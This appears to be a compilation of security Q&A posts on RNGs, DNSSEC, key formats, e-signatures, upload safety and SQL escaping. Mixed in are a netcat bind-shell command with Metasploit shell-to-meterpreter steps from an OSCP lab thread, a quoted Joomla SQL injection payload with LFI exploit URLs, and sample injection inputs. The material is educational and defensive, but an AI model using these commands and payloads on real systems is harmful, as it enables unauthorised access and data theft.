Good RNGs should take into account the whole state for each output bit they produce. But say you have one that doesn't do this. For example, assume that you have an RNG that produces numbers whose lowest bit only depends on a single bit of RNG state. This means that the RNG leaks part of its internal state with every number it produces. And if the lowest bit depended on two bits of internal state instead, the RNG would still leak important probabilistic information about the state of these two bits with every number produced.


What guidelines can I follow to know if I can trust a software editor? At work or at home, I often find some useful piece of software. Sometimes I may find it on a forum, mentioned on a video, or by talking to a colleague.

But how do I know if the editor of the software I install can be trusted ?

To clarify, I am not asking if I can be sure that there are no security issues within the software provided. I am asking how I may check the reputation of the editor in order to prevent the case where the software I install may just be a free tool they provide as an excuse to get a backdoor into my computer, to install a keylogger or basically anything malicious on purpose.

It's really interesting because in this situation we are dealing with 'trust'.

How can you trust a software editor ?

Because it's famous would be a good answer but still it's not enough.

Look at  Sony rootkit scandal

At the moment, I haven't find any website recording editors 'trust factor'.
So the best way is to gather information about the different software he has developed. Rummage on different forums to see people's opinion about him or his software. Maybe the editor talks with the community about the software and how to improve it (Being open makes him 'more trustworthy').

In the end, you have to get an idea on him but you'll never be sure about it (like in real life).


Using msf to connect to netcat listener and shell_to_meterperter I've been trying for hours and failing to do something that should be simple!

I have a box w/ admin (taking OSCP - nothing illegal).   I used an RDP exploit, got a shell, added a user, put user in administrators group and as I sit I currently am on an rdesktop with an administrator.

Given -
TARGET - 192.168.1.200, I have an admin shell and access to rdesktop. Have uploaded nc.exe

KALI - My machine - 192.168.1.100.

What I am trying to do is open a LISTENING port on the TARGET ...
c:\nc -lvp 9999 -e c:\windows\system32\cmd.exe

...connect to that open port from my KALI box while using metasploit framework.

I can connect using nc 192.168.1.200 9999, but I can't make that connection a metasploit session.

Then turn this connection into a meterpreter session using
post/multi/manage/shell_to_meterpreter

Thanks!

I got it!!!

https://www.youtube.com/watch?v=LRS05gvcvdk

I needed to set my TARGET listener to port 4444.  Then I run multi/handler, then payload windows/shell_bind_tcp

Exploit and I get the shell.
Ctrl-Z to background the session, then run:
post/multi/manage/shell_to_meterpreter
on the session and bam got it running!


Keeping user data private in a cloud environment like Google App Engine I am writing an open-source Java application for Google App Engine (GAE).  The application will let users create content that is intended to be private.  I want to provide reasonable assurances that no one (including me, as the site administrator) will be able to read private content that belongs to someone else.  What is the best way to accomplish this?

The site will be served using https.  Users will log into my application using OpenId, so I am not in control of their login credentials (I don't have their password).

Based on the research I have done so far, I think one solution might be to encrypt data written to the GAE datastore using a password-based encryption key.  The user would choose a separate password to be used only for encrypting their private data.  To generate the encryption key, I would hash the password somehow (maybe bcrypt?).  Data written to the GAE datastore would then be encrypted using the encryption key plus a salt, and the salt would be stored alongside the encrypted blob.  I would never permanently store the password or the encryption key, but I'd probably need to keep the encryption key on the session while the user is logged in.

Is this a good solution?  Are there other solutions I should consider instead?

I would also appreciate any pointers to existing open source applications that do this kind of thing properly.

Edit (20 Dec 2011):

I'll try to clarify what I'm looking for.

Google App Engine supports two roles: users and administrators.  In this case, a user is anyone who chooses to log into the site via OpenId.  An administrator is a special type of user which also gets access to the application's administrative console.  Among other things, administrators can view logs and directly manipulate the back-end datastore (read and write).  Some administrators -- let's call them administrator/developers -- also have the ability to deploy new code.

Users can be expected to create both public and private content.  I want users to feel confident that content they mark as "private" really can't be viewed by anyone else.

I recognize that a malicious administrator/developer could upload code with a back door to circumvent the privacy design.  However, that problem will have to be solved via auditing.  Because the code is open-source, users who are concerned about the software implementation have the opportunity to review the code and convince themselves of its integrity.

I also recognize that a large part of getting this right is simply good application design.  For instance, the back-end should require authentication and should not let authenticated users view data that they don't own.  There should also be test coverage sufficient to confirm that this functionality works as intended. This part of the application design is already in place.

When I asked this question, I was hoping to find a solution that offered a higher level of assurance.  I am looking for a design that protects -- as much as is practical -- against malicious users, malicious administrators, and unintentional software bugs in systems that I control.  If at the same time this solution also offers some protection against malicious or incompentent system providers (i.e. Google personnel looking at things they shouldn't, or App Engine bugs that inadvertently disclose my data), then that's even better.

I realize that I can't protect against every attack vector in an application like this, and certain solutions are going to be too ugly -- or too annoying from a user perspective -- to be practical.  There may be no solution which is "better" than what I already have implemented.  In that case, I'd like to document the reasoning behind that conclusion.  However, if there is a reasonable solution, I would like to find it.

You can't.  There's basically no technical mechanism that will prevent you from reading the user's content, if you wanted to and were malicious.
Here, let's look at some obvious attempts, and understand why they don't actually work:

You could encrypt the user's data under a key that is hardcode in your program, and store in the database in encrypted form, to prevent you from peeking at the user's data.  But then your code will have the decryption key, so you could always peek at the decryption key, and then you'll have the ability to see user data.  Doesn't work.
(Having the program generate the key for you doesn't work, either, because where is it going to store the key for future use?  Anywhere it can store the key, you can read.)

You could ask the user to provide a passphrase, derive an encryption key from the user's passphrase, encrypt the user's data using this key, and then store it in the database in encrypted form.  But then your code sees the decryption key.  You could modify your code to collect and log users' passwords, which would then let you read the users' data.  The users would have no way of detecting this.  Doesn't work.

You could send Javascript code to the user's browser.  The Javascript code could prompt the user for a passphrase, derive an encryption key from the user's passphrase, and encrypt the data (all executing on the browser, so the user's passphrase never leaves their browser).  The Javascript could then send the user's data, in encrypted form, to your server to store it.  This sounds attractive.  However, there is a serious problem with it.  If you were malicious or snoopy, you could easily modify your server code to send new Javascript to users, which collects their passwords and ships a copy to your server.  That would let you read the users' data.  While you might say "Gee, I would never do that", the point is that users would have no way of detecting this, so they have no way of verifying whether you are being honest or not, and there's no technical mechanism that prevents you from being dishonest.  Doesn't work.

So, as you can see, there's no technical solution to this problem that really prevents you from reading user data.  If you really wanted to read user data, you could, and you could even do it in a way that users wouldn't notice.  What assurances do users have that you won't do this?  Well, they have to trust you to be an honest sort.  Technical mechanisms can't solve the problem.
Now, there's still a good reason to encrypt.  If you are honest, and want to protect your users not from a dishonest version of you, but rather from inadvertent mistakes you might make or possible security breaches of the contents of the server database, well, now, that's a problem that can be at least partly solved using encryption.
But the particular problem you mentioned is not one that can really be solved through cryptography alone, in practice.


Logging scarce outbound communication I have the following predicament. I am tasked with making sure our client's workstations are squeaky clean from a Malware point of view. We have been blessed with Websense as a malicious outbound traffic identifying tool.

Let's say for a given host I see some suspicious traffic and I want to identify what's the process that is causing it (the workstations are Win 7 32 bit).

Also netstat helps only if the process is always running. For scarce traffic the offending process is not always obvious.

The pain comes from the following: we only have a pseudo - administrator account with which we have only remote command line access. No powershell, no ability to run programs with GUI (i. e. Process explorer), and we are required to minimally interrupt the users during their work.

Because of this I am trying to master the hidden art of netsh trace. But for longer periods of time, even though I add filters for ethernet type,  protocol and ip, the logs get huge with entries for Windows kernel, and it's taking forever to download them from the host for analysis.

Until now I have not found any way to cut those out. I figured there must be a way with scenarios and/or providers, but could not find a description for those anywhere.

I also did not find a way to do this using any SysInternals tool just from the CLI.

Any suggestions for tools or methods to accomplish the task?

From your description, it looks like all you need is the timestamp, process name and the source port (since you identify the malicious traffic externally and have access to the timestamp and ports used). This can simplify things tremendously.

Run netstat with a grep every second and capture the processes and source ports to a log (export log to central logging server). Log contents are smaller this way, although you risk missing a short-running process if it fires in between your capture times. A little hacky, but effective, and I've done it.

You can also try logging aggregators or endpoint protection programs that log into the workstations to poll for this info. The performance, cost, and complexity will depend on the number of workstations in play, though.


How to store and open files without making them recoverable? I would like to store and work with some files but simply set a password to my Windows account isn't enough as the hard drive can be removed and the files can be recovered.

I am wondering if I create an encrypted container with for example veracrypt. And open the files and then close the container after I am finished will it be possible to recover those files?

I encourage you to read the VeraCrypt documentation, particularly the sections entitled Threat Model and Security Requirements and Precautions. A software's threat model defines what it protects against and doesn't. VeraCrypt's Security Requirements and Precautions mentions known vulnerabilities, attacks, and how to prevent or limit their respective damage.

Your operating system will store copies of opened files in the swap file, temporary folders, lists of recently opened files, etc, so recovery can be possible depending on what OS you use and how it's configured.

Full-disk encryption solves all of those problems, but also has vulnerabilities to things like cold-boot attacks.


Is there a common standard for evaluating the Security of an IoT device? When you write a paper about an implementing a classifying computer-vision/machine-learning algorithm, you can simply count the number of positive (correct) negatives/positives, and the number of negative (incorrect) negatives/positives. However is there a way to evaluate an IoT device and its security? How does one go about explaining the evaluation?

The reason I ask this, is because when you write up a paper there is an evaluation section typically, and I'm confused as to how to approach it.

The only thing I can think of is listing the total number of security measures.

When people think of Internet of Things. Most think of various devices with a myriad build of different operating systems and functions.

However it's really not that complex if you look at it as a whole rather than from each individual pieces. Depending on your choice of operating systems. Most have their own security guide and the applications are in fact not much different to our servers and workstations.

Hardening and Security Implementation

You can consider referencing to the following guides but not limited to; for securing your devices.

OWASP IOT Project

IOT Security Foundation

CIS IOT Guide

Windows 10 IOT Guide

Evaluating IOT Security

As for testing I would say starting with this as a guide would help

Owasp IOT testing methodology

Evaluating Software Security

As for the security evaluation of the software, in your case computer-vision/machine-learning. You can additionally adopt evaluation of security on a coding level and configurations rather than on an iot device specifically.

Here's some reference with regards to software security

Owasp Secure Coding Practice

Microsoft Secure Coding Guidelines


Difference between these two extracted public keys? I generated an RSA Private Key using openssl genrsa -out mykey.pem 2048
To extract the public key I have found 2 commands, one using openssl :
openssl rsa -in mykey.pem -pubout > mykey.pub

And the other using ssh-keygen:
ssh-keygen -y -f mykey.pem > mykey.pub

However I noticed that boths outputs doesn't look anything alike. I know that a private key can only have one unique public key so why the outputs are different?

Because they're in different formats.
You can compare this to an image file, roughly. The same pixels, with the same values, can be stored in multiple different ways, depending on the image format. A 1x1 image made of 1 black pixel will look radically different in a hex editor, depending on whether you save it as PNG, JPEG or TIFF.
Likewise, OpenSSL and OpenSSH store public keys in two completely different formats, even if the underlying cryptographic primitives (the public exponent and the modulus) are the same.
PEM Format
OpenSSL uses the PEM format by default. This can be easily identified by -----BEGIN PUBLIC KEY-----. If you use the command openssl -in mykey.pub -pubin -text, you can see the following output:
RSA Public-Key: (2048 bit)
Modulus:
    00:c8:5e:9f:52:16:a0:77:ae:dc:20:14:25:95:9e:
    5c:0e:08:ff:1c:35:27:9c:dd:62:a3:58:1a:39:5b:
    65:67:19:2b:5d:05:d7:05:1d:dd:0a:43:eb:b8:35:
    f2:85:c9:1d:32:66:22:4a:08:ef:04:10:a7:f3:52:
    ef:62:4b:26:81:f4:ab:00:c3:7e:16:29:5e:14:7f:
    e5:f8:3f:2c:62:de:61:ba:6d:d4:4b:d2:13:3c:46:
    c4:22:6d:19:9a:6f:06:3f:96:1e:79:58:09:d1:f3:
    3c:e4:24:b3:6f:5a:fc:01:5e:ff:fb:25:fe:ea:30:
    45:87:57:2c:68:ac:3d:55:c7:bb:d6:23:0b:40:68:
    21:bb:97:1c:5e:66:08:49:eb:a0:a5:e4:24:8f:16:
    08:55:8e:0a:e5:72:59:4c:bf:a1:f1:94:ed:b3:84:
    66:94:32:87:c4:fc:d4:32:35:05:03:3a:b1:50:26:
    ce:41:21:7b:a1:e3:d5:5e:65:f3:1e:81:fd:65:db:
    1b:f9:21:cd:e4:b8:2c:5d:53:63:88:76:b4:c7:34:
    50:c1:89:2f:68:1b:5f:d2:9c:31:47:43:3c:30:3c:
    86:94:da:32:f6:0f:30:2c:f4:2a:64:8c:15:aa:0e:
    6d:f1:33:14:d5:b3:4c:95:08:81:cd:43:02:ac:fe:
    f4:21
Exponent: 65537 (0x10001)
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyF6fUhagd67cIBQllZ5c
Dgj/HDUnnN1io1gaOVtlZxkrXQXXBR3dCkPruDXyhckdMmYiSgjvBBCn81LvYksm
gfSrAMN+FileFH/l+D8sYt5hum3US9ITPEbEIm0Zmm8GP5YeeVgJ0fM85CSzb1r8
AV7/+yX+6jBFh1csaKw9Vce71iMLQGghu5ccXmYISeugpeQkjxYIVY4K5XJZTL+h
8ZTts4RmlDKHxPzUMjUFAzqxUCbOQSF7oePVXmXzHoH9Zdsb+SHN5LgsXVNjiHa0
xzRQwYkvaBtf0pwxR0M8MDyGlNoy9g8wLPQqZIwVqg5t8TMU1bNMlQiBzUMCrP70
IQIDAQAB
-----END PUBLIC KEY-----

That's all the information contained in the public key. The PEM format is simply base64-encoded DER format.
DER Format
A standardized format for storing cryptographic material, which uses the ASN.1 notation. OpenSSL also supports it, and DER files are smaller than PEM files. The disadvantage is, since they're binary, you can't easily copy and paste them as text, which is why PEM is generally preferred.
SSH Format
OpenSSH uses the "SSH Format" by default, which is described in RFC 4253, section 6.6. It's a rather simple format, and it works. Since the underlying cryptographic primitives are the same, you can easily convert a key from one format to another.


router/modems capable of capturing requests Are there any routers that can capture http or https requests?

Windows UWP apps are able to bypass proxy settings, failing MITM proxy or Charles like applications to capture their requests.

Yup. "Transparent" proxies do that.
A proxy need not be "explicit". It can also be a "transparent" proxy if it is the gateway used by the client. And then do just the same things an explicit proxy can do. (If the explicit proxy couldn't break HTTPS, then neither can the transparent proxy. If the explicit proxy could break HTTPS, then also can the transparent proxy.)
If for example you use a Sophos firewall in your business the "transparent"/"explicit" proxy thing is a switch you can toggle. See: https://community.sophos.com/kb/en-us/115865


Why must the master key be stronger than the session key? If I am going to use a master key to generate a session key, the master key must be "stronger" than the session key.

For instance, I should not be distributing a 128-bit AES keys with a 56-bit DES key.

Why?

I should not be distributing a 128-bit AES keys with a 56-bit DES key.
  Why?

If you think about this, it is trivially obvious: anyone can obtain the 128 bit key by brute forcing the 56 bit key that you distribute it under. The performance of your security is defined by the weakest point in the system.


Industry standards for threat names One of the security appliances we own reports a so-called "Industry Name" for the threats it detects on the network. I wanted to know if there is really such a standard and where I can find information about specific threats with a given industry name?

The security appliance report should say somewhere what standard it is using for the industry names. I am not sure how many standards are out there and it also depends on what kind of weaknesses your software is scanning for, but commonly I´ve seen reports using:

CVE (Common Vulnerabilities and Exposures) http://cve.mitre.org/

or

CWE (Common Weakness Enumeration) https://cwe.mitre.org/


TKIP key length and initialization vector size It's not clear to me from reading the wiki if TKIP encryption uses a 128 bit RC4 encryption key and a 48 bit IV, or if the 128 bit is the total, and the actual key size is 128 - 48 = 80 bit.


Obtain download link using Postman I am currently pentesting a digital download site.

It occurred to me that if I can set specific parameters and send a request to a specific URL, is it possible to get the "send download link to email after completing purchase" URL? I could then send a request validating this request with the right parameters and actually obtain that product for free.

The reason I'm asking this and not doing it is because to get the URL, I would have to purchase something, which at minimum is 20 bucks, and who would want to waste 20 bucks for a small piece of string that might not even be vulnerable to attacks. Btw, the tool I use is Postman.

Theoretically, yes. Practically (and hopefully), no. HTTP transactions being stateless, proof of payment is in the form of a token that denotes payment. The token (or tokens) would typically be encrypted, highly random and be a mix of something that identifies the customer and something random.

To successfully replicate this, you would have to know the exact parameters, guess the values of the parameters and any cookies, correctly set any other headers the server expects and make the request within the specified validity window for the token (if a timeout has been established).

So, to answer your question on "is it or has it ever been possible to do this" - it is possible. But a properly implemented solution would make it impractical to carry out such an attack. It doesn't matter if the client side tool is a browser or Postman.


How does DNSSec work? Are there known limitations or issues? Based on information from this site, DNSSec is needed to protect us from a number of DNS and SSL / TLS hacks, including:

DNS spoofing, especially on wifi or shared medium
Registrars that abuse their trust and insert invalid data into the root servers
Fundamental flaws that allow attacks on SSL & HTTPS connections

I haven't yet seen a good explanation of how DNSSec works outside of the RFC's, so:

How does DNSSec work?
Are there known limitations I should be aware of?  Specifically, how to we prevent the case where a MITM hides the "secure" records from being seen on the client, and the client uses insecure DNS? (a variant of this hack)

DNSSec is normal DNS, but with signatures. It absolutely prevents DNS Spoofing; that's what it's for, and that's what it does.
Registrars can still theoretically abuse their position because they're responsible for communicating your intentions to the root servers. This includes information about your DNSSec keys. This relationship will never change; if you can't trust your registrar, then get a new registrar.
DNSSec doesn't prevent MITM attacks. It absolutely prevents DNS spoofing. But there are other ways of inserting yourself into a traffic flow than just DNS spoofing.
How it works
In essence, you tell your registrar your signing key's fingerprint by creating a DS record, and that information will be available from your TLD signed by an upstream key which chains in a like manner all the way to a single globally trusted key.
With this set up, your key is now considered to be the trusted authority for your domain, and is allowed to sign your DNS records. So now for each record in your zone, you create a corresponding RRSIG record which contains the associated digital signature.
Now, when someone looks up a domain in your zone, you can send not only the response, you can also send the corresponding RRSIG record as well which shows that the response was signed by you. To verify the signature, the client fetches your DNSKEY record which contains your full public key, and then just follows normal cryptographic signature verification techniques.
Obviously the DNSKEY record also has its own corresponding RRSIG record so that you can verify that it hasn't been tampered with. But more importantly, there is a DS record available from your parent zone (remember, you gave it to your registrar in the first paragraph) which contains enough information about your public key to verify that your DNSKEY record is actually authorized for your zone.
That DS record is, in turn, singed by your parent's DNSKEY, for which there is a corresponding DS record in the root zone. This way, all key signatures can be traced back to a single trusted source.
Problems
The complication comes when you need to tell someone that a record doesn't exist. Obviously that response needs to be signed, but generally the DNS server itself doesn't have access to your signing key and can't sign the response on-the-fly; the signatures are all created "offline" ahead of time. This keeps your key from being exposed if your DNS server gets compromised.
So instead, you alphabetize your subdomains and say "for every name between mail.example.com and pop.example.com, no other subdomains exist" and sign that assertion. Then when someone asks for nachos.example.com you can just give them that response (which has already been signed) and the client knows that because nachos.example.com falls alphabetically between mail.example.com and pop.example.com, then the "this domain doesn't exist" response is considered to be correctly signed and actually came from you.
The place where this becomes problematic is that by having a set of these negative responses which explicitly state that "no responses exist between X and Y, you can easily map out exactly which domains exist for the entire zone. You know that "X" exists, and you know that "Y" exists, and you know there is nothing else between them. Just do a little more poking at random and you'll quickly be able to compile a list of all the records that do exist.
Controversy
There are two camps in the DNS world with respect to whether or not this is a problem. The first group says:
"So what if people know what zones exist; DNS is public information. It was never meant to be a secret anyway."
To which the second group says:
"This is a security risk. If I have a server named accounting.example.com, then someone who intrudes on my network can quickly tell which machine has the juicy information on it and therefore which one to attack."
To which the first group then replies:
"Then don't call it that! If your entire security model is based on the concept of keeping public information secret, then you, sir, are an idiot."
To which the second group replies:
"It's not about keeping secrets, it's about not revealing more information than you have to."
And so on, ad nauseam.
DNS (and DNSSec) was designed largely by folks in the first camp; DNS is public, therefore being able to map out which subdomains exist in a domain isn't a significant security concern. And anyway, you can't really do signed negative responses any other way.
On the other hand, the servers tend to be run by people in the second camp. They're concerned about the safety of their own network, and they don't want to be giving away any more information than necessary, since they know that all information will eventually be used against them.
So you have a protocol is cryptographically sound and perfectly functional, but which real-world admins tend to be hesitant to implement.
We'll all get there eventually, I imagine. After all, DNS spoofing is more of a real-world concern than any dangers raised by mapping out subdomains. But change takes convincing. So here we are... still.


Received "md5" in access logs In our Apache server we have received around 200 HTTP GET requests from the same IP and a common string in each request is "md5", e.g.

index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null%27+/*!50000UnIoN*/+/*!50000SeLeCt*/md5(3.1415),222--%20- HTTP/1.1

What kind of attack hacker had tried over here, and should I worry about it?

The attacker is trying to exploit Joomla component called com_s5clanroster which is vulnerable to SQL Injection.

  An SQL injection vulnerability has been reported in Joomla Com
  S5clanroster. Successful exploitation of this vulnerability would
  allow a remote attacker to execute arbitrary SQL commands on the
  affected system.

https://www.checkpoint.com/defense/advisories/public/2014/cpai-2014-2169.html

That same component was also vulnerable to LFI:

  [o] Exploit

       http://localhost/[path]/index.php?option=com_s5clanroster&view=[LFI]
       http://localhost/[path]/index.php?option=com_s5clanroster&controller=[LFI]

http://www.securityfocus.com/bid/39503

Maybe you don't have that component installed or maybe you are running different CMS, but make sure that you check your website is up-to-date. And not only that, also check if different plugins are still maintained by author, because I saw vulnerable plugins with no updates available from author - and that is consider as a big problem.

Here is another example which can lead to another problem: Expired Domain Leads to WordPress Plugin Redirects

Consider to use ModSecurity (Open Source Web Application Firewall). How to?


Strategy for electronic document (PDF) signatures I'm treading into the murky waters of electronic document signatures, and I'm having trouble figuring out the right approach to deal with my requirements. I think this should be pretty straightforward, but endless searching has left me with no concrete examples.

I am building a platform (imagine an Uber-type model) for matching clients with professional service providers. At the end of the services being provided, the service provider needs to send a document (a PDF) to the client for a signature. We want to let the client electronically sign the document, and here's where things become unclear. We need these signatures to be legally binding, but it isn't clear to what lengths we need to go to get to that point.

Clients in this system will have to create a login and authenticate with our system before they can sign anything. Therefore, we know who they are when they go to sign. Some things that I have read suggest that having the user declare (check a box, type their name, etc.) something like the following would be enough: "I agree to blah, blah, blah, and I intend to convey the same significance to this electronic signature as I would to a physical signature". We could then stamp the document with a signature-looking text and be done with it.

Other extremes seem to be to electronically sign the PDF itself using PKI, requiring public/private keys for each user. Due to libraries (un)available in my technology stack, it's unlikely that I will be able to digitally sign the actual PDFs.

I thought maybe a middle ground would be to do asymmetric encryption on the document at the time of "signing", and store the signed document at that point. That way, we could later verify that the document was unaltered if it ever comes into question. However, this approach would also require public/private key pairs for each client, and we are not prepared to require our users to generate their own. Would it then be appropriate for us to generate pairs for each user, storing them on our own server and/or in our own database (along with their other user information)? Does this really get us any better security than we had just by having users log in?

I would really appreciate any insight here. Unfortunately, most documentation out there is from DocuSign or other vendors trying to sell their services. Obviously it would be a big relief to just use that, but the cost is exorbitant given the model we have (most charge per user).

UPDATE: This service will be US-based only for the foreseeable future (if that changes anything)

UPDATE: I see a related question (Digital signatures and truly validating what was actually agreed to) that talks about a similar problem. Basically responses there confirm my fear that yes, it might be invalid for me to maintain private keys for my users. In that case, how are other electronic signature providers (including DocuSign, HelloSign, etc.) able to provide this capability without their users needing to know about private keys?

See https://crypto.stackexchange.com/questions/29501/how-can-cryptographic-signatures-be-somehow-linked-to-a-physical-signature for an outstanding explanation of how services like DocuSign actually work - including their use or cryptography (or lack thereof). In short, these types of services basically function as a 'witness' to attest that someone with access to a particular user's account agreed to the terms of a particular document. Although these services tout the use of cryptography in their marketing materials, cryptography actually does not play an integral role in the actual 'signing' process.


"Don't serve content over HTTP" - what does this mean, exactly? In doing some research regarding SSL, I came across this topic.  One of the common suggestions was not to serve content over HTTP.  What does that mean from a website development POV?  Referencing things like stylesheets with a full https URL?  Something else?

It means to always use the SSL layer when serving pages. Links don't need to be absolute, but traffic received on port 80 without SSL should be redirected to port 443 with SSL. The rest of the magic is in avoiding attacks where the user doesn't visit the SSL site first and the redirect is hijacked using something like SSLstrip. That is covered in this question: Options when defending against SSLstrip?


Maximum protection on a computer network? I would like to secure as much as possible a computer I am using to sync sensitive data files from work to my home pc. The syncronisation is being done by only 1 software is there a firewall to allow connections to the internet only by that 1 software (and windows updates also) and NOWHERE else so an attacker cant find a weakhole in the home pc?

Also please, what recommendations would you give me so that the home pc is more secure?
 Are there any tools to block all incoming connections to my pc except from that software and any other security measures I would take? I am very stressed i dont want to loose my job over this thing.
 What other tools are there for a computer to use when its only for backup and needs maximum security?

Some info about the home pc: it is a desktop used only for the backup purposes and nothing more.
 I dont even surf the web from it. So no chance of me downloading something (virus etc).

Pragmatic advice. The best advice I can give you is not technical advice; it is organizational.  You don't want to lose your jobs.  That's understandable.  The best way to meet that goal is, Don't try to do this yourself.

Your company almost certainly has an IT department.  Contact them to ask them how they'd like you to secure your home PC and what practices they want you to follow them.   Then, do what they say.  If you follow their guidelines, then even if something bad should happen, you should have good protection against being fired.  Hopefully few companies would fire a valuable employee who acted in good faith and followed the rules faithfully.

Technical methods for hardening.  If you want technical advice, you can find all sorts of advice on how to harden a Windows PC.  Here's my top list:

Enable Windows automatic updates.
Get anti-virus software and enable it.
Turn on a firewall to block all incoming connections, except for the sync software.  A google search on Windows Firewall should provide directions on how to do so.
Take regular backups.
Follow the advice listed in this question: If you have to write an information security guide for non technical users, what would you cover?
Install Secunia PSI and set it to scan your computer for unpatched software periodically.  Follow its advice to update any old software it finds.
If you want to be extra-cautious, you could follow the advice here: Quick steps to Windows 7 OS hardening.

If you follow the steps listed above, you should be among the top 5% of security practice, perhaps the top 1%.


Using file extension and MIME type (as output by file -i -b) combination to determine unsafe files? We allow users to upload a number of files, all of which we either send over to scribd (doc, xls, ppts, etc) or display as a video ourselves (flv, mov, mp4, etc in flowplayer).

To avoid users uploading unsafe files, we check against a set of known "safe" file extensions and then check the output of the file -i -b command which gives us the MIME type.

Usage: file [OPTION]... [FILE]...
Determine file type of FILEs.
...
-i, --mime                 output mime type strings

Is this adequate protection to keep 'unsafe scripts' off our server or do folks use something different?

Warning. The steps you describe are not enough to be safe, if those files are available from your servers.

Explanation. Because browsers do content-sniffing in a variety of circumstances to guess at the appropriate MIME type, there are a variety of subtle cross-site scripting attacks that remain possible.  The general category is sometimes known as content-sniffing XSS.

See the following research paper:

Adam Barth, Juan Caballero, and Dawn Song.  Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves.  IEEE Security & Privacy 2009.

The following blog posts and messages also discuss this threat:

Andreas Gohr, Chris Smith.  MSIE facilitates Cross Site Scripting.  February 2007.
Jessica Hope, rotwang.  SMF upload XSS vulnerability.  December 2006.
Robert McMillan.  A photo that can steal your Facebook account.  July 2008.

Defenses.  I recommend that you adopt the following defenses and mitigations:

Host the content on a separate domain, which is used only for hosting user-uploaded content.  This will sandbox it, so content-sniffing XSS attacks can only attack other users' content, and cannot attack your site.  (For example, Wikipedia and Facebook use this defense.)
Make sure to set a correct Content-Type: header on every response that serves user-uploaded content.  Vet the content-type to make sure it is one of several options on a whitelist of safe content types.  Avoid sending an invalid MIME type (e.g., */*, unknown/unknown, application/unknown), and avoid responses that lack a Content-Type: header; those are subject to browser content-type sniffing and thus at high risk of attack.  Avoid the MIME types that cause IE7 to do content-type sniffing (see the Barth et al paper for a list, in Table 4).
When serving user-supplied content, never serve one with an unsafe MIME type that can trigger execution of active code.  For example, avoid all of the following: text/html, application/x-shockwave-flash, as they can contain privileged code.  Unfortunately I don't think it is safe to serve user-supplied Flash content from your site.
When serving user-supplied content, include a X-Content-Type-Options: nosniff header along with the Content-Type: header, to disable content-type sniffing on some versions of IE.
For content that you don't expect to be displayable in the browser, mark it so the browser will handle it as a file download: e.g., add a Content-Disposition: attachment header.

(If this sounds annoying, you sure are right.  Blame the Apache folks for including a crummy default configuration that broke web standards, for many years, and ignored pleas to do something about it.  Unfortunately, now it is too late: we are stuck with a large deployed base of browsers that do dangerous things.)


Faster SQL injection prevention I looked around everywhere and I can't find the answer to my question.

I'm using the latest PHP for server-side scripting and MySQL for my database. The character set is utf8mb4 if that makes a difference.

Until now, I have used prepared statements to protect myself from SQL injection. However, since most of my queries are only executed once, the code is really slow. When I use $conn->query() instead, and $conn->real_escape_string() for all my variables, it's faster.

However, $conn->real_escape_string() is also slow because there's a roundtrip at each call. But I don't understand why there's a need for a roundtrip because I feel like that escaping function can just be programmed in PHP.

From the docs, a function would look like this:

  Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.

function sanitize($str)
{
    str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $str);
}

Assuming I made sure it's in the right encoding and that it's not empty.

This was posted as a comment in one of the docs. By the way, str_replace works with Unicode.

However, I thought of something that makes a little more sense. Looking at this page, I can stretch this a lot further. For a statement like this:

$sql = "UPDATE ipsum SET lorem=$str WHERE id=1337";

Can't I just do (and I'm checking beforehand to make sure it's a UTF-8):

function sanitize($str)
{
    return "'" .str_replace(array("\\", "'"), array("\\\\", "\\'"), $str) . "'";
}

And that will prevent SQL injections? Why not? I can't think of an input for which it will fail.

If not, is there a better PHP function that can protect against SQL injection better?

Thanks in advance! You can test SQL here.

UPDATE: Received the responses I expected. To clarify, I'm not asking for you to give your classic preaches of "prepared statements are the best thing ever do it or die." If I wanted that, I'd ask on Yahoo! Answers and not here.

I'd like to know why my method (the second one) is not secure (or if it is). It'd also be nice to include a discussion of what real_escape_string or prepared statements actually do to sanitize the data. Both MySQL and PHP are open source, and I'm sure someone knows what's happening when these functions are called.

I simply don't understand why a roundtrip is needed to sanitize strings. How can a method like that not be implemented in PHP?

UPDATE 2: I have iterated through all the unicode characters (0x0000 to 0x1F77F, found this on Wikipedia) and noticed that, if real_escape_string() only escapes single characters and not phrases (which according to the docs it does), under utf8mb4 charset, the characters that change are:

  unicode 0 => \0

  unicode 10 =>\n

  unicode 13 =>\r

  unicode 26 =>\Z

  unicode 34 =>\"

  unicode 39 =>\'

  unicode 92 =>\\

So even though it's utf8mb4, it isn't different from what the docs say (guess because UTF-8 is standard). So why is this not implementable in PHP?

Here's a PHP script which combines all these unicodes and sanitizes them. Here's a SQL fiddle.

Regarding your sanitization function - while I can't produce an exploit for the exact example you provided, if we change your example to something like this:

$sql = "UPDATE ipsum SET price=$str WHERE id=1337";

If a value of 10, otherColumn=1234 or maybe 10;-- was passed in for $str you could see problems.  If you roll your own sanitization function and begin using it in your code, it seems like it would only be a matter of time before an vulnerability like this popped up.  I'll keep playing around to see if I can find an exploit for the exact example you provided in your question.

That said, I wouldn't recommend rolling your own sanitization function.  Smarter people than you and I have put considerable effort into testing the effectiveness of the currently accepted industry standard of using prepared statements to prevent SQL Injection so you can be (fairly) certain that it is safe.  Rolling your own is almost always a mistake.

Also - I would wager that there are people out there using prepared statements in environments that handle more traffic and require more performance than your current project.

If you are experiencing performance problems accessing your data layer, I would recommend spending some time looking at performance tuning rather than building your own sanitization function.

Performance tuning access to your data layer is an essential and normal part of development.  Rolling your own sanitization is not.


Calculating entropy of a graphical password (Passface)? I feel like I'm overthinking this as the only online example I've come across is this paper, which is using more advanced math than is expected of us. But if we have a known passface database off 100 faces, a password is five faces, and verification is choosing 1 face from a random 9, 5 times. The set size can't be 100 though can it, since in each challenge there's only 9 options. It's not the same 9 though so I don't think log2(9^5) or log2(100^5) are correct.

If you have a set of 100 total unique faces and have to choose 5 different faces to represent your passface, then the total number of possible face combinations is 100 x 99 x 98 x 97 x 96, or 9,034,502,400.  Similar to your 100^5 estimate, but slightly less because you can't choose the same face more than once.  Some people would say this represents the possible entropy (e.g. 33 bits) of a passface in this scenario.

